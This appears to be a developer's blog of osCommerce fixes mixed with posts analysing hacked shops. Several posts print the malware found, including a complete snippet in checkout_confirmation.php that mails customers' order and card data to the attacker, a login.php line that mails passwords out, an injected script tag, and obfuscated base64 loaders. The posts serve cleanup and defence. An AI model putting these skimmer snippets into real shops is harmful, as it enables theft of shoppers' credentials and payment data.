Store Pick Up Shipping Module – adding tax.
Jan 20th
Recently looked at http://www.oscommerce.com/community/contributions,164 for a store pickup option – once installed this allows you to add an option to the checkout_shipping page so that customers can collect direct. You can add a fee for this but this cannot be made taxable. Here’s a little fix for this based on spu.php
1. Backup your original file in case of ‘ooops!’
2. Find this code near the head of the file:
$this->icon = ''; $this->enabled = ((MODULE_SHIPPING_SPU_STATUS == 'True') ? true : false);
and add this extra line:
$this->icon = ''; $this->tax_class = MODULE_SHIPPING_SPU_TAX_CLASS; //2012 get tax rate $this->enabled = ((MODULE_SHIPPING_SPU_STATUS == 'True') ? true : false);
3. Look down through the code until you then find this (about line 73 in my file):
'cost' => MODULE_SHIPPING_SPU_COST)));
add below this line:
if ($this->tax_class > 0) {
$this->quotes['tax'] = tep_get_tax_rate($this->tax_class, $order->delivery['country']['id'], $order->delivery['zone_id']);
}
4. now scoot to the bottom of the file and find function install () {. Add an extra configuration key to it so:
tep_db_query("insert into " . TABLE_CONFIGURATION . " (configuration_title, configuration_key, configuration_value, configuration_description, configuration_group_id, sort_order, use_function, set_function, date_added) values ('Tax Class', 'MODULE_SHIPPING_SPU_TAX_CLASS', '0', 'Use the following tax class on the shipping/delivery fee.', '6', '0', 'tep_get_tax_class_title', 'tep_cfg_pull_down_tax_classes(', now())");
5. Add the new key MODULE_SHIPPING_SPU_TAX_CLASS to the function keys() below this – you should end up with something like the following – just make sure that you don’t leave a trailing comma:
function keys() {
return array('MODULE_SHIPPING_SPU_STATUS', 'MODULE_SHIPPING_SPU_COST', 'MODULE_SHIPPING_SPU_SORT_ORDER', 'MODULE_SHIPPING_SPU_ZONE', 'MODULE_SHIPPING_SPU_ZIP', 'MODULE_SHIPPING_SPU_TEXT_WAY', 'MODULE_SHIPPING_SPU_TEXT_TITLE', 'MODULE_SHIPPING_SPU_TAX_CLASS');//2012 added MODULE_SHIPPING_SPU_TAX_CLASS
}
6. To install an update to any shipping module you should do the following – you can skip a couple of these steps if performing a simple edit like this but practice makes perfect.
- Go to your store admin > modules > shipping and highlight the current Store Pickup Module. Make a note of the settings you can see
- Now remove the module (uninstall)
- Upload the newly edited spu.php file to your catalog/shipping/modules/ folder
- Go back to the store admin and reinstall the module adding the appropriate tax class
7. If you find that your shipping amount is now skewed remember that you need to input the net amount to the module and the store will apply the tax – so if, for example, you want the front end to show shipping at £20 and your tax rate is 20% then your input amount = gross shipping /1.2 (16.6667 in this case)
script src=http://1see.ir/j/
Jul 29th
Long time no write – but here’s another exploit. – maybe two.
My clients’ hosting company contacted him regarding spam mail being sent from his account. After downloading his site I found a couple of exploits that had been popped in there:
In the catalog/images folder there were three extra files *.php, *.phtml and *.ind – each of those contained the same code that terminated in a php mail() function, if accessed they will give you ‘console’ window (see images at foot of post) from which you can rename, delete, upload and change file permissions.
Opening this on my localhost allowed me several minutes of fun as I scampered around the hard drive right into the root folder – not sure how far you’d really get on a live, web facing server – on the one I Googled up the console was limited to just the images folder – but there’s quite a few sites seem to have this file out there.
OK – so that’s all very well, what about the mail() function? Find a web facing server that has the files on it and you’ll get a login screen – I guess Mr Hacker logs in, uploads a file plus a list of email addresses and spamsalot.
As if that’s not enough in the catalog/images folder there were also a lot of ‘hidden’ files starting with a full stop:
A quick look inside reveals our old friend – (base64_decode())
<? eval(gzinflate(base64_decode('
7Rxrd9rG8rN7Tv/DWpdTQ0uwANuJH7jBxA/s2I7B......
No idea what they were up to – rather than decode then lot I just binned them then popped an htaccess file into the images folder to stop scripts running from within the folder.
Great, so that’s us cured? What about the title of the post? Whats the script src=http://1see.ir/j/
all about then? The left hand menu on the /catalog/ pages had an attempt at injecting a script in there – the HTML looked like (lots of nested tables – yaaay!)
<table cellpadding="0" cellspacing="0" border="0" class="bg1"> <tr> <td class="bg2"> <table cellpadding="0" cellspacing="0" border="0" class="bg3"> <tr> <td class="set"><a href=http://www.adomain.com/script-srchttp1seeirj-c-92.html><script src=http://1see.ir/j/> </a></td> </tr> </table> </td> </tr> </table><br style="line-height:1px"> <table cellpadding="0" cellspacing="0" border="0" class="bg1"> <tr> <td class="bg2"> <table cellpadding="0" cellspacing="0" border="0" class="bg3"> <tr> <td class="set"><a href=http://www.adomain.com/script-c-93.html></script> </a></td> </tr> </table>
OK – so what’s with the javascript and how does it get there? The database has been hacked with an attempt to pop a javascript in there instead of a category name – glance in the database shows that the categories_name field in the categories table for one category had the <script src=http://1see.ir/j/> bit and the next category had the </script>.
Snippety snip, deleted and correct category names added.
Not sure if the javascript is linked to the files in the images folder or not.
-
- Hidden files in the images folder
-
- Web facing mailer login
-
- File manipulation console
PayPal Express – no shipping options?
May 15th
I was working on the ‘official’ PayPal Express release for osCommerce:
https://cms.paypal.com/cms_content/GB/en_GB/files/developer/osc_PayPal_v177.zip
Installation was fine (other than the recurring payments bits which I did not install) but, when I was testing it on the PayPal Sandbox I found that I was being presented with no shipping fee at checkout_confirmation – just the single character ‘r’
Tracking down the reason took awhiles but here it is – in the file ext/modules/payment/paypal/express.php find the following at around line 300:
// select cheapest shipping method $shipping = $shipping_modules->cheapest(); $shipping = $shipping['id'];
Change this by commenting out the last line
// select cheapest shipping method $shipping = $shipping_modules->cheapest(); //$shipping = $shipping['id'];
File injection – login.php and checkout_confirmation.php
Jan 22nd
Here’s a couple of little code snippets that I found on an osC store I was working on
login.php at line 23
if (isset($HTTP_GET_VARS['action']) && ($HTTP_GET_VARS['action'] == 'process')) {
$email_address = tep_db_prepare_input($HTTP_POST_VARS['email_address']);
$password = tep_db_prepare_input($HTTP_POST_VARS['password']);
@mail("XXXXXXX@gmail.com","www.XXXXXXXX.com ","username : $email_address \n password : $password");
The last line above was added in by our old friend the hacker and simple emails a customer’s username and password to his throwaway email address at Googlemail.
Then in the file checkout_confirmation.php at around line 55 he’s also added in this:
$msgz = "";
if (!isset($_SERVER)) { $_SERVER = &$HTTP_SERVER_VARS; }
foreach ($_POST as $key => $value) { $msgz.=$key." => ".$value."\r\n"; }
foreach ($_GET as $key => $value) { $msgz.=$key." => ".$value."\r\n"; }
foreach ($order->info as $key => $value) { $msgz.=$key." => ".$value."\r\n"; }
foreach ($order->customer as $key => $value) { $msgz.=$key." => ".$value."\r\n"; }
foreach ($order->customer['country'] as $key => $value) { $msgz.="country-".$key." => ".$value."\r\n"; }
$msgz .= $_SERVER['HTTP_REFERER']."\r\n".$_SERVER['SCRIPT_FILENAME'];
if(preg_match('/[0-9]{12,19}|paypal/i',$msgz)) {
@mail('XXXXX@gmail.com','setoran',$msgz);
} else {
@mail('YYYYYYY@gmail.com','setoran',$msgz);
}
This baby catches all the information being passed from the checkout_confirmation.php page to the checkout_process.php file and emails it to one or other of his email addresses.
Rogue files #2
Jan 22nd
Came across a couple of ‘extra’ files added to a client’s osC installation by XSS
ext/modules/payment/paypal/verify_ipn.php
This one contained a nice little virus package and is not to be confused with the genuine osC file that you may have on your site :
ext/modules/payment/paypal_ipn/verify_ipn.php
On the same site there was a file /images/ind.php that had been dropped in there – there should be nothing in the /images/ folder for osC other than images and possible a .htaccess file – worth having a look.
The images folder is easy for a hacker to drop a file into as the permissions on there may be set to 777 – you can try changing that to 755 which works on some hosting servers – but on others it seems to be that 777 is needed.
If you are set to 777 and a script file is placed into the images folder then you could try and stop it from running by using the .htaccess script listed here – like one contributor says on there it won’t stop the hack taking place but at least it will stop the blasted file from running.
FancyBox for osC and IE8 – bug & solution.
Dec 18th
For years I have been implementing a multiple image contribution for osCommerce which involved a lot of hacking around with the admin/categories.php file the – venerable Multi Pics contribution.
Today I tried something new which I chanced upon – Simple Multi Image Add-on (Un-Limited) with FancyBox Popups
Combined with oscThumbs this proved to be fairly easy to install and setup and gave pretty good results which, with a little tweaking can give you some pretty decent image layouts on your product_info.php page. Then I looked at IE8 and it was not happy – no fancy popup 
I tried debugging the javascript; using a different download of Fancybox; IE8 compatability mode; standing on my head and then waded through 40 plus pages on the osC forums until I found the solution here posted by Mr Longhorn 1999.
So if you comment out lines 183-186 and 201-204 in images/js/jquery.fancybox.js and remove that particular meta tag from product_info.php, the product pages in IE8 should look alright, just like they do in FF.
In the js.query.fancybox.js files the two blocks of code you are looking for are:
at line 183
if (isIE) {
$("#fancy_content")[0].style.removeExpression("height");
$("#fancy_content")[0].style.removeExpression("width");
}
and at line 201:
if (isIElt9) {
$("#fancy_content")[0].style.setExpression('height', '(this.parentNode.clientHeight - 20)');
$("#fancy_content")[0].style.setExpression('width', '(this.parentNode.clientWidth - 20)');
}
The meta tag he mentions is this:
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
which the contribution asks you to add to your product_info.php (or sts_template in my case) immediately after the <head> tag.
The only other thing to be aware of is that you must have the correct doctype in your code – but that is well documented in the download.
US States Drop Down for Payment Selection
Dec 17th
I’ve just spent a happy twenty minutes setting up a drop down box of US States for use in a First Data Global Gateway Telecheck Payment module. This will display the full state name in an alphabetical list and pass the two letter, upper case abbreviation as the value.
Save yourself some time and grab the list here:
$bank_state =
array(array('id' => 'AL', 'text' =>'Alabama'),
array('id' => 'AK', 'text' =>'Alaska'),
array('id' => 'AZ', 'text' =>'Arizona'),
array('id' => 'AR', 'text' =>'Arkansas'),
array('id' => 'CA', 'text' =>'California'),
array('id' => 'CO', 'text' =>'Colorado'),
array('id' => 'CT', 'text' =>'Connecticut'),
array('id' => 'DE', 'text' =>'Delaware'),
array('id' => 'FL', 'text' =>'Florida'),
array('id' => 'GA', 'text' =>'Georgia'),
array('id' => 'HI', 'text' =>'Hawaii'),
array('id' => 'ID', 'text' =>'Idaho'),
array('id' => 'IL', 'text' =>'Illinois'),
array('id' => 'IN', 'text' =>'Indiana'),
array('id' => 'IA', 'text' =>'Iowa'),
array('id' => 'KS', 'text' =>'Kansas'),
array('id' => 'KY', 'text' =>'Kentucky'),
array('id' => 'LA', 'text' =>'Louisiana'),
array('id' => 'ME', 'text' =>'Maine'),
array('id' => 'MD', 'text' =>'Maryland'),
array('id' => 'MA', 'text' =>'Massachusetts'),
array('id' => 'MI', 'text' =>'Michigan'),
array('id' => 'MN', 'text' =>'Minnesota'),
array('id' => 'MS', 'text' =>'Mississippi'),
array('id' => 'MO', 'text' =>'Missouri'),
array('id' => 'MT', 'text' =>'Montana'),
array('id' => 'NE', 'text' =>'Nebraska'),
array('id' => 'NV', 'text' =>'Nevada'),
array('id' => 'NH', 'text' =>'New Hampshire'),
array('id' => 'NJ', 'text' =>'New Jersey'),
array('id' => 'NM', 'text' =>'New Mexico'),
array('id' => 'NY', 'text' =>'New York'),
array('id' => 'NC', 'text' =>'North Carolina'),
array('id' => 'ND', 'text' =>'North Dakota'),
array('id' => 'OH', 'text' =>'Ohio'),
array('id' => 'OK', 'text' =>'Oklahoma'),
array('id' => 'OR', 'text' =>'Oregon'),
array('id' => 'PA', 'text' =>'Pennsylvania'),
array('id' => 'RI', 'text' =>'Rhode Island'),
array('id' => 'SC', 'text' =>'South Carolina'),
array('id' => 'SD', 'text' =>'South Dakota'),
array('id' => 'TN', 'text' =>'Tennessee'),
array('id' => 'TX', 'text' =>'Texas'),
array('id' => 'UT', 'text' =>'Utah'),
array('id' => 'VT', 'text' =>'Vermont'),
array('id' => 'VA', 'text' =>'Virginia'),
array('id' => 'WA', 'text' =>'Washington'),
array('id' => 'WV', 'text' =>'West Virginia'),
array('id' => 'WI', 'text' =>'Wisconsin'),
array('id' => 'WY', 'text' =>'Wyoming'));
And then call the dropdown:
array('title' => MODULE_PAYMENT_LINKPOINT_ECHECK_E_TEXT_BANK_STATE,
'field' => tep_draw_pull_down_menu('linkpoint_echeck_bank_state', $bank_state)),
‘edoced_46esab’ – whassat?
Dec 5th
Another site flagged up by Google as being ‘dirty’ – on being asked to look through the files by the owner I could find only two ‘naughty’ files and no database changes.
The file with the malware was (again) called ‘google1234568.php’ (where 1234568 is a random mix of characters) and was in the root folder. This is a non-standard osC file and the filename is an attempt to mimic a standard Google Web Tools verification file which will be called google1234568.html
The malware code in the file was encoded thus:
<?php $D=strrev('edoced_46esab');$s=gzinflate($D.....yadda....yadda...
Decompiling the code revealed a pile of php functions designed to search out various files (including windows, *nix and Mac password files; http.conf files, config.php etc etc) on the local disc and copy them. Sneakily the very first couple of lines were designed to return a 404 error to a number of bots including Google in an attempt to stop the bots from finding the malware code that followed.
This fake file still needs to be called from somewhere else the chances of it being visited by your average punter is virtually nil – running a file comp found that the only other suspicious file was cookie_usage.php and that one had been entirely substituted with code to call the fake google file.
The site was cleaned up and resubmitted to Google who cleared the malware flag.
You must secure an osC site properly – check out v2.3. Also try these:
osC Sitemonitor by Jack_mcs forum discussion here
ANZ Egate not displaying in the front end
Nov 27th
If you install the ANZ Egate payment module that uses MIGS ( get it here ) and, after activation it in the admin, you may be puzzled to find that it does not display in the front end. You then spend ages bug hunting. I did.
The front end will not display unless you insert both a MIGS Merchant ID and MIGS Access Code in the admin page – both these can be any dummy numbers that you like but, without those two fields filled in the module will not display in checkout_payment.php
Discussed here.
Rogue files
Nov 27th
Whilst running a file comparison between a good, local copy of a hacked osC site I found a number of poor,little orphan files on the server that, when examined, were full of nasty, ‘orrible code. Here’s a list of the little darlings which may help you:
In catalog folder
google ********.php (where ******* are random characters)
cookie_setup.php
jsys.php (a genuine file of this name may appear with Joomla)
reader.php
catalog/images
****.php – there should be no php files in the images folder
catalog/includes/classes
nusoap.php
In the admin folder (or whatever you have renamed it to. You have renamed it haven’t you?) These files are standard php/js files that have been placed on the server to assist the hacker in uploading/changing other files.
JsHttpRequest.php
utils.js
admin/incudes/classes/
nusoap.php
Also a .htaccess file has appeared in lots of directories where, previously, there was none. This new htaccess file is set to prevent directory browsing and just contains the line
Options All -Indexes
Changed Files
catalog/cookie_useage.php
catalog/includes/header.php (base 64 code added after final ?> )
catalog/includes/languages/xxxxxx/cookie_useage.php